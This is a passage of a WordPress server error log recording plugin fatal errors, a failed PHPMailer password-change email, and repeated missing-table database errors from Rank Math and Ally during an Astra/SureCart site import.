pagelayer_woo_customize_register(Object(WP_Customize_Manager)) #1 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #2 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #3 /home/dxgrqzvp/public_html/wp-includes/class-wp-customize-manager.php(947): do_action('customize_regis...', Object(WP_Customize_Manager)) #4 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(341): WP_Customize_Manager->wp_loaded('') #5 /home/dxgrqzvp/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array) #6 /home/dxgrqzvp/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array) #7 /home/dxgrqzvp/public_html/wp-settings.php(764): do_action('wp_loaded') #8 /home/dxgrqzvp/public_html/wp-config.php(102): require_once('/home/dxgrqzvp/...') #9 /home/dxgrqzvp/public_html/wp-load.php(50): require_once('/home/dxgrqzvp/...') #10 /home/dxgrqzvp/public_html/wp-admin/admin-ajax.php(22): require_once('/home/dxgrqzvp/...') #11 {main} thrown in /home/dxgrqzvp/public_html/wp-content/plugins/pagelayer/main/woocommerce.php on line 324 [18-Feb-2026 20:49:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_ea11y_page_scanned' doesn't exist for query SELECT * FROM wpuz_ea11y_page_scanned WHERE 1 ORDER BY created_at desc LIMIT 1000 made by wp_dashboard, do_meta_boxes, EA11y\Modules\Dashboard\Widgets\Ally_Dashboard_Widget::ally_widget_render, EA11y\Modules\Scanner\Classes\Utils::get_scanner_stats, EA11y\Modules\Remediation\Database\Page_Entry::get_pages, EA11y\Classes\Database\Table::select [18-Feb-2026 20:51:55 UTC] PHP Fatal error: Uncaught Error: Call to undefined function PHPMailer\PHPMailer\mail() in /home/dxgrqzvp/public_html/wp-includes/PHPMailer/PHPMailer.php:892 Stack trace: #0 /home/dxgrqzvp/public_html/wp-includes/PHPMailer/PHPMailer.php(2083): PHPMailer\PHPMailer\PHPMailer->mailPassthru('admin@j92labs.c...', '[] Password Cha...', 'Hi admin,\r\n\r\nTh...', 'Date: Wed, 18 F...', NULL) #1 /home/dxgrqzvp/public_html/wp-includes/PHPMailer/PHPMailer.php(1800): PHPMailer\PHPMailer\PHPMailer->mailSend('Date: Wed, 18 F...', 'Hi admin,\r\n\r\nTh...') #2 /home/dxgrqzvp/public_html/wp-includes/PHPMailer/PHPMailer.php(1615): PHPMailer\PHPMailer\PHPMailer->postSend() #3 /home/dxgrqzvp/public_html/wp-includes/pluggable.php(625): PHPMailer\PHPMailer\PHPMailer->send() #4 /home/dxgrqzvp/public_html/wp-includes/user.php(2815): wp_mail(Array, '[] Password Cha...', 'Hi admin,\n\nThis...', Array) #5 /home/dxgrqzvp/public_html/wp-admin/includes/user.php(233): wp_update_user(Array) #6 /home/dxgrqzvp/public_html/wp-admin/user-edit.php(171): edit_user(1) #7 /home/dxgrqzvp/public_html/wp-admin/profile.php(18): require_once('/home/dxgrqzvp/...') #8 {main} thrown in /home/dxgrqzvp/public_html/wp-includes/PHPMailer/PHPMailer.php on line 892 [18-Feb-2026 21:43:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_ea11y_page_scanned' doesn't exist for query SELECT * FROM wpuz_ea11y_page_scanned WHERE 1 ORDER BY created_at desc LIMIT 1000 made by wp_dashboard, do_meta_boxes, EA11y\Modules\Dashboard\Widgets\Ally_Dashboard_Widget::ally_widget_render, EA11y\Modules\Scanner\Classes\Utils::get_scanner_stats, EA11y\Modules\Remediation\Database\Page_Entry::get_pages, EA11y\Classes\Database\Table::select [18-Feb-2026 21:47:58 UTC] === MXCHAT DEBUG: Starting chat request === [18-Feb-2026 21:47:58 UTC] MXCHAT DEBUG: Bot ID received: default [18-Feb-2026 21:47:58 UTC] MXCHAT DEBUG: get_bot_options called for bot: default [18-Feb-2026 21:47:58 UTC] MXCHAT DEBUG: Using default options (no multi-bot or bot is 'default') [18-Feb-2026 21:47:58 UTC] MXCHAT DEBUG: get_bot_options called for bot: default [18-Feb-2026 21:47:58 UTC] MXCHAT DEBUG: Using default options (no multi-bot or bot is 'default') [18-Feb-2026 21:47:58 UTC] MXCHAT DEBUG: get_bot_pinecone_config called for bot: default [18-Feb-2026 21:47:58 UTC] MXCHAT DEBUG: Using default Pinecone config (no multi-bot or bot is 'default') [18-Feb-2026 21:47:58 UTC] MXCHAT DEBUG: Default config - use_pinecone: false [18-Feb-2026 21:57:52 UTC] === MXCHAT DEBUG: Starting chat request === [18-Feb-2026 21:57:52 UTC] MXCHAT DEBUG: Bot ID received: default [18-Feb-2026 21:57:52 UTC] MXCHAT DEBUG: get_bot_options called for bot: default [18-Feb-2026 21:57:52 UTC] MXCHAT DEBUG: Using default options (no multi-bot or bot is 'default') [18-Feb-2026 21:57:52 UTC] MXCHAT DEBUG: get_bot_options called for bot: default [18-Feb-2026 21:57:52 UTC] MXCHAT DEBUG: Using default options (no multi-bot or bot is 'default') [19-Feb-2026 19:26:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_ea11y_page_scanned' doesn't exist for query SELECT * FROM wpuz_ea11y_page_scanned WHERE 1 ORDER BY created_at desc LIMIT 1000 made by wp_dashboard, do_meta_boxes, EA11y\Modules\Dashboard\Widgets\Ally_Dashboard_Widget::ally_widget_render, EA11y\Modules\Scanner\Classes\Utils::get_scanner_stats, EA11y\Modules\Remediation\Database\Page_Entry::get_pages, EA11y\Classes\Database\Table::select [19-Feb-2026 19:26:35 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_ea11y_page_scanned' doesn't exist for query SELECT * FROM wpuz_ea11y_page_scanned WHERE 1 ORDER BY created_at desc LIMIT 1000 made by wp_dashboard, do_meta_boxes, EA11y\Modules\Dashboard\Widgets\Ally_Dashboard_Widget::ally_widget_render, EA11y\Modules\Scanner\Classes\Utils::get_scanner_stats, EA11y\Modules\Remediation\Database\Page_Entry::get_pages, EA11y\Classes\Database\Table::select [19-Feb-2026 19:26:37 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_ea11y_page_scanned' doesn't exist for query SELECT * FROM wpuz_ea11y_page_scanned WHERE 1 ORDER BY created_at desc LIMIT 1000 made by wp_dashboard, do_meta_boxes, EA11y\Modules\Dashboard\Widgets\Ally_Dashboard_Widget::ally_widget_render, EA11y\Modules\Scanner\Classes\Utils::get_scanner_stats, EA11y\Modules\Remediation\Database\Page_Entry::get_pages, EA11y\Classes\Database\Table::select [19-Feb-2026 19:29:31 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_ea11y_page_scanned' doesn't exist for query SELECT * FROM wpuz_ea11y_page_scanned WHERE 1 ORDER BY created_at desc LIMIT 1000 made by wp_dashboard, do_meta_boxes, EA11y\Modules\Dashboard\Widgets\Ally_Dashboard_Widget::ally_widget_render, EA11y\Modules\Scanner\Classes\Utils::get_scanner_stats, EA11y\Modules\Remediation\Database\Page_Entry::get_pages, EA11y\Classes\Database\Table::select [19-Feb-2026 19:38:09 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 40 made by do_action('wp_ajax_astra-sites-required_plugin_activate'), WP_Hook->do_action, WP_Hook->apply_filters, AiBuilder\Inc\Ajax\Plugin->required_plugin_activate, AiBuilder\Inc\Traits\Helper::required_plugin_activate, activate_plugin, do_action('activate_surecart/surecart.php'), WP_Hook->do_action, WP_Hook->apply_filters, SureCart\Activation\ActivationService->activate, SureCart\WordPress\Pages\PageSeeder->seed, SureCart\WordPress\Pages\PageSeeder->createCheckoutForm, SureCart\WordPress\Pages\PageSeeder->createPosts, SureCart\WordPress\Pages\PageService->findOrCreate, SureCart\WordPress\Pages\PageService->create, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-sites-required_plugin_activate'), WP_Hook->do_action, WP_Hook->apply_filters, AiBuilder\Inc\Ajax\Plugin->required_plugin_activate, AiBuilder\Inc\Traits\Helper::required_plugin_activate, activate_plugin, do_action('activate_surecart/surecart.php'), WP_Hook->do_action, WP_Hook->apply_filters, SureCart\Activation\ActivationService->activate, SureCart\WordPress\Pages\PageSeeder->seed, SureCart\WordPress\Pages\PageSeeder->createPages, SureCart\WordPress\Pages\PageSeeder->createPosts, SureCart\WordPress\Pages\PageService->findOrCreate, SureCart\WordPress\Pages\PageService->create, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:38:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-sites-required_plugin_activate'), WP_Hook->do_action, WP_Hook->apply_filters, AiBuilder\Inc\Ajax\Plugin->required_plugin_activate, AiBuilder\Inc\Traits\Helper::required_plugin_activate, activate_plugin, do_action('activate_surecart/surecart.php'), WP_Hook->do_action, WP_Hook->apply_filters, SureCart\Activation\ActivationService->activate, SureCart\WordPress\Pages\PageSeeder->seed, SureCart\WordPress\Pages\PageSeeder->createPages, SureCart\WordPress\Pages\PageSeeder->createPosts, SureCart\WordPress\Pages\PageService->findOrCreate, SureCart\WordPress\Pages\PageService->create, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:38:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 43 made by do_action('wp_ajax_astra-sites-required_plugin_activate'), WP_Hook->do_action, WP_Hook->apply_filters, AiBuilder\Inc\Ajax\Plugin->required_plugin_activate, AiBuilder\Inc\Traits\Helper::required_plugin_activate, activate_plugin, do_action('activate_surecart/surecart.php'), WP_Hook->do_action, WP_Hook->apply_filters, SureCart\Activation\ActivationService->activate, SureCart\WordPress\Pages\PageSeeder->seed, SureCart\WordPress\Pages\PageSeeder->createCartPost, SureCart\WordPress\Pages\PageSeeder->createPosts, SureCart\WordPress\Pages\PageService->findOrCreate, SureCart\WordPress\Pages\PageService->create, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-sites-required_plugin_activate'), WP_Hook->do_action, WP_Hook->apply_filters, AiBuilder\Inc\Ajax\Plugin->required_plugin_activate, AiBuilder\Inc\Traits\Helper::required_plugin_activate, activate_plugin, do_action('activate_surecart/surecart.php'), WP_Hook->do_action, WP_Hook->apply_filters, SureCart\Activation\ActivationService->activate, SureCart\WordPress\Pages\PageSeeder->seed, SureCart\WordPress\Pages\PageSeeder->createShopPage, SureCart\WordPress\Pages\PageSeeder->createPosts, SureCart\WordPress\Pages\PageService->findOrCreate, SureCart\WordPress\Pages\PageService->create, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:38:14 UTC] webhook [19-Feb-2026 19:38:14 UTC] rewrite [19-Feb-2026 19:38:15 UTC] webhook [19-Feb-2026 19:38:15 UTC] rewrite [19-Feb-2026 19:38:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 45 made by do_action('admin_init'), WP_Hook->do_action, WP_Hook->apply_filters, SureCart\Database\UpdateMigrationServiceProvider->run, SureCart\Database\UpdateMigrationServiceProvider->handleCartMigration, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:33 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 46 made by do_action('wp_ajax_astra-sites-import-wpforms'), WP_Hook->do_action, WP_Hook->apply_filters, Astra_Sites_Importer->import_wpforms, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:33 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 46 made by do_action('wp_ajax_astra-sites-import-wpforms'), WP_Hook->do_action, WP_Hook->apply_filters, Astra_Sites_Importer->import_wpforms, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:33 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 47 made by do_action('wp_ajax_astra-sites-import-wpforms'), WP_Hook->do_action, WP_Hook->apply_filters, Astra_Sites_Importer->import_wpforms, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 48 made by do_action('wp_ajax_astra-sites-import_customizer_settings'), WP_Hook->do_action, WP_Hook->apply_filters, AiBuilder\Inc\Ajax\Importer->import_customizer_settings, AiBuilder\Inc\Traits\Helper::import_customizer_settings, STImporter\Importer\ST_Importer::import_customizer_settings, wp_update_custom_css_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 49 made by do_action('wp_ajax_astra-sites-import_customizer_settings'), WP_Hook->do_action, WP_Hook->apply_filters, AiBuilder\Inc\Ajax\Importer->import_customizer_settings, AiBuilder\Inc\Traits\Helper::import_customizer_settings, STImporter\Importer\ST_Importer::import_customizer_settings, wp_update_custom_css_post, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:38:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:38:48 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:38:48 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1116 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:38:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:38:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1119 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1120 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1121 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1122 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1123 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 800 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:38:50 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:38:50 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:39:02 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 800 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:39:02 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1139 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:39:02 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 800 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [19-Feb-2026 19:39:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [19-Feb-2026 19:39:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1140 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, 